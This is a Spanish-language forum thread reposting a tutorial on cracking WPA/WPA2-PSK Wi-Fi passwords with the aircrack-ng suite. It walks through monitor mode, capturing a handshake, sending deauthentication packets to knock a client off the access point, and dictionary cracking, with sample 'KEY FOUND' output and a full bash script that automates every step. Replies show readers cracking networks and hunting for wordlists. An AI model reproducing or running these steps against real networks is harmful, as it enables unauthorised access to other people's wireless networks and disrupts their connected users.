Cracking WPA/WPA2-PSK

Iniciado por $ad, Mayo 07, 2010, 05:04:55 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.



-[ INFORMACIÓN ]---------------------------------------------------------------------

   Titulo: Cracking WPA/WPA2-PSK with wordlist
   Autor: ka0x
   Contacto: ka0x01[alt+64]gmail.com
   Fecha: 08/03/2009

---------------------------------------------------------------------------------


-[ ÍNDICE ]---------------------------------------------------------------------

   0x01: Introducción
   0x02: ¿Qué es el handshake?
   0x03: Capturando handshake
   0x04: Conseguir clave con diccionario
   0x05: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
   0x06: Fin


---------------------------------------------------------------------------------


---[ 0x01: Introducción ]

En este pequeño texto se explicará como obtener la clave de una red inalámbrica con cifrado WPA/WP2
en la que se esté usando un sistema de clave compartida (pre-shared keys - PSK).
Para todo esto necesitaremos capturar un handshake y después con un diccionario atacar al handshake
para obtener la clave.

Imaginemos que en este caso tenemos la siguiente red inalambrica:

- ESSID: ap_labs
- BSSID: 00:1B:02:93:AF:9C
- CANAL: 1
- CLIENTE: 01:C2:B3:04:02:05


---[ 0x02: ¿Qué es el handshake? ]

Pues el handshake se genera cuando un cliente se asocia a la red inalámbrica,
es como un saludo (apretón de manos) entre el punto de acceso y el cliente.
Son los paquetes que se envían entre el AP y el cliente en el momento de la asociación.
para que podamos empezar el ataque con diccionario en una red con cifrado WPA-PSK, necesitaremos haber
capturado estos paquetes.

---------------------------------------------------------------------------------



---[ 0x03: Capturando handshake ]

Bueno empecemos...
Utilizamores la suite de aircrack-ng,  si queremos los sources y demás
podemos entrar a su web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si utilizamos debian, encontraremos el paquete en los repositorios, instalar:
Código: php
# apt-get install aircrack-ng


Para poder capturar paquetes, tendremos que poner nuestro adaptador wireles en modo monitor:

Código: php
# airmon-ng start <iface>
p.e: # airmon-ng start wlan0



Siempre se necesitará tener un cliente 'real' asociado en el AP.
Entonces una vez para empezar a capturar paquetes, utilizaremos airodump-ng:

Código: php
# airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0
--bssid -> MAC del punto de acceso.
-w redWPA -> guardará los datos obtenidos en el archivo "redWPA".
-c -> Canal del punto de acesso
wlan0 -> interfaz adaptador inalambrico.


Así capturaremos todo lo que pase por el punto de acceso con MAC: 00:1B:02:93:AF:9C
Entonces vayamos a capturar el handshake...


Como habíamos dicho antes el handshake se genera en el momento que un cliente se asocia al AP.
Entonces, cómo hacemos que se vuelva asociar el cliente al AP?

Facil, desautenticaremos al cliente del AP y esperamos a que se vuelva asociar,
para este proceso usaremos el ataque 0 de aireplay-ng. Este ataque enviará al cliente paquetes de
desautenticacion

Uso:
Código: php
# aireplay-ng -0 5 -a <MAC_AP> -c <MAC_CLIENTE> <interfaz>
|-> Numero de desautenticaciones que se enviarán.
     Si ponemos un 0, enviará desautenticaciones hasta que lo paremos.


En este caso:
Código: php
# aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0


Cuando ejecutemos esto segun el numero de desautenticaciones nos aparecerá algo así:
Sending DeAuth to station   -- STMAC: [01:C2:B3:04:02:05]

En el momento que el cliente se desasocie y se vuelva a asociar al AP, nosotros con el airodump-ng
capturaremos el handshake.

¿Cómo sabemos que ya lo hemos capturado?

Pues en la ventana donde tenemos corriendo el airodump-ng, arriba a la derecha, veremos algo así:
CH 1 ] [ Elapsed: 14 mins ][ 2009-03-08 ][ WPA handshake: 00:1B:02:93:AF:9C

Una vez que nos aparezca eso, ya podemos cerrar todo, en el archivo redWPA-01.cap ya tendremos
el dichoso handshake =)

---------------------------------------------------------------------------------


---[ 0x04: Conseguir clave con diccionario ]


Una vez teniendo el handshake, ya podemos utilizar un diccionario de posibles claves
para que aircrack-ng compruebe haber si alguna de las claves del diccionario coincide
con la del AP.

¿Qué diccionario usar? pues el de john the ripper, alguno propio, hay muchos...
aunque se supone que esto es para comprobar la seguridad de tu red wireless y ya te tendrás
que saber de sobra tu clave.

La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres.

Empecemos...

Si ejecutamos:
Código: php
# aircrack-ng redWPA-01.cap


Podremos ver que tenemos un handshake:

---------
Código: php
Opening wpa-hand.cap
Read 553 packets.

   #  BSSID              ESSID                     Encryption

   1  00:1B:02:93:AF:9C  ap_labs                WPA (1 handshake)  <------

Choosing first network as target.

Opening wpa-hand.cap
Please specify a dictionary (option -w).


Quitting aircrack-ng...

---------

Uso de aircrack-ng con diccionario:
Código: php
# aircrack-ng -w <ruta_diccionario> <archivo_de_capturas>



Suponiendo que nuestro archivo de datos capturados donde se encuentra el handshake se llama
redWPA-01.cap, lo ejecutaremos de la siguiente forma:

Código: php

# aircrack-ng -w diccionario.lst redWPA-01.cap


Entonces aquí ya aircrack-ng se pondrá a comprobar las posibles claves del diccionario hasta obtenerla.
Una vez obtenida, nos aparecerá lo siguiente:

---------

                                 
Código: php
Aircrack-ng 1.0 rc1


                   [00:00:00] 0 keys tested (0.00 k/s)


                           KEY FOUND! [ clave__ap ]


      Master Key     : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9
                       DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09

      Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5
                       8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0
                       C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0
                       F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78

      EAPOL HMAC     : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26


---------

Hay ya vemos que encontro la clave y que es 'clave__ap'.
Como vemos el proceso de obtener una clave WPA/WPA2-PSK no es tan dificil siempre y cuando
sepamos nuestra clave, ya que si no la sabríamos este proceso podría durar horas, dias e incluso semanas
depende el diccionario que usemos.

---------------------------------------------------------------------------------



---[ 0x05: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ]

Para simplificar un poco este proceso de obtención de la clave, hice un pequeño script en bash
sencillo que te puede servir si eres un poco vago :P

<-----------------airoWPA-PSK.sh--------------------->
Código: php
#!/bin/bash

# airoWPA-PSK.sh v0.1
# written by ka0x <ka0x01[at]gmail.com>

if [ $UID != 0 ]; then
echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO"
exit
fi

comprueba_mac(){
if [ ! "${#1}" -eq "17" ]; then
echo -e "\033[31mMac Incorrecta\n\033[0m"
exit
fi
}
interfaces() {
echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n"
INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }')
select INTER in $INTERFACES; do
break;
done
clear
}

monitor(){
airmon-ng start $INTER
clear
menu
}

handshake(){
clear
read -p "[-] Introduzca la MAC del AP: " mac_ap
comprueba_mac $mac_ap
read -p "[-] Introduzca la MAC del Cliente: " mac_client
comprueba_mac $mac_client
read -p "[-] Introduzca el canal del AP: " mac_chanel
read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas
xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu
}

desautenticacion(){
clear
read -p "[-] Introduzca la MAC del AP: " mac_ap
comprueba_mac $mac_ap
read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente
comprueba_mac $mac_cliente
read -p "[-] Introduzca el numero de desautenticaciones: " num
xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER
clear
menu
}

crack_dicc(){
clear
read -p "[-] Introduzca la ruta del diccionario: " diccionario
echo "[-] Seleccione el archivo de datos capturados:"

LS_DIR=$(ls *.cap)
select DATA in $LS_DIR; do
break;
done

xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA
menu
}

menu(){
echo -e "\n[*] Opciones:\n"
echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m"
echo "1 - Activar Modo Monitor"
echo "2 - Capturar handshake"
echo "3 - Desautenticar cliente"
echo "4 - Obtener clave con diccionario"
echo "5 - Salir"
echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m"

read -p "opcion> " OPCION

case $OPCION in
"1") monitor;;
"2") handshake;;
"3") desautenticacion;;
"4") crack_dicc;;
"5") exit;;
*) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;;

esac
}

interfaces
menu

# __EOF__

<------------------------------------------------>

---------------------------------------------------------------------------------


---[ 0x06: Fin ]

Bueno pues eso es todo, los pasos son bastantes sencillos, cualquier duda pueden
entrar a la web de aircrack-ng (httpNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta) donde podrán encontrar abundante documentación
o mismamente enviándome un email.

Espero que se entienda.

Un saludo!

# ka0x

---------------------------------------------------------------------------------

__EOF__

# No tienes permitido ver los links. Registrarse o Entrar a mi cuenta [2009-03-09]

Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

gracias por la explicación $ad, una pregunta como instalo o de donde agarro el script.

exelente men gracias lo estaba necesitando

Justo hace 10 minutos hemos crackeado yo y mi hermano mayor (el que me enseña) con blacktrack una WPE xD
Mañana me enseña la WPA, seguramente me pase por este tutorial xD
Buen aporte ;D

un saludo a todo el foro,ya q es mi primer post.
donde puedo descargar un diccionario para wpa en español gratis,,ya q los q vi son de pago.
gracias

Muchas gracias, ahora  abuscar un buen diccionario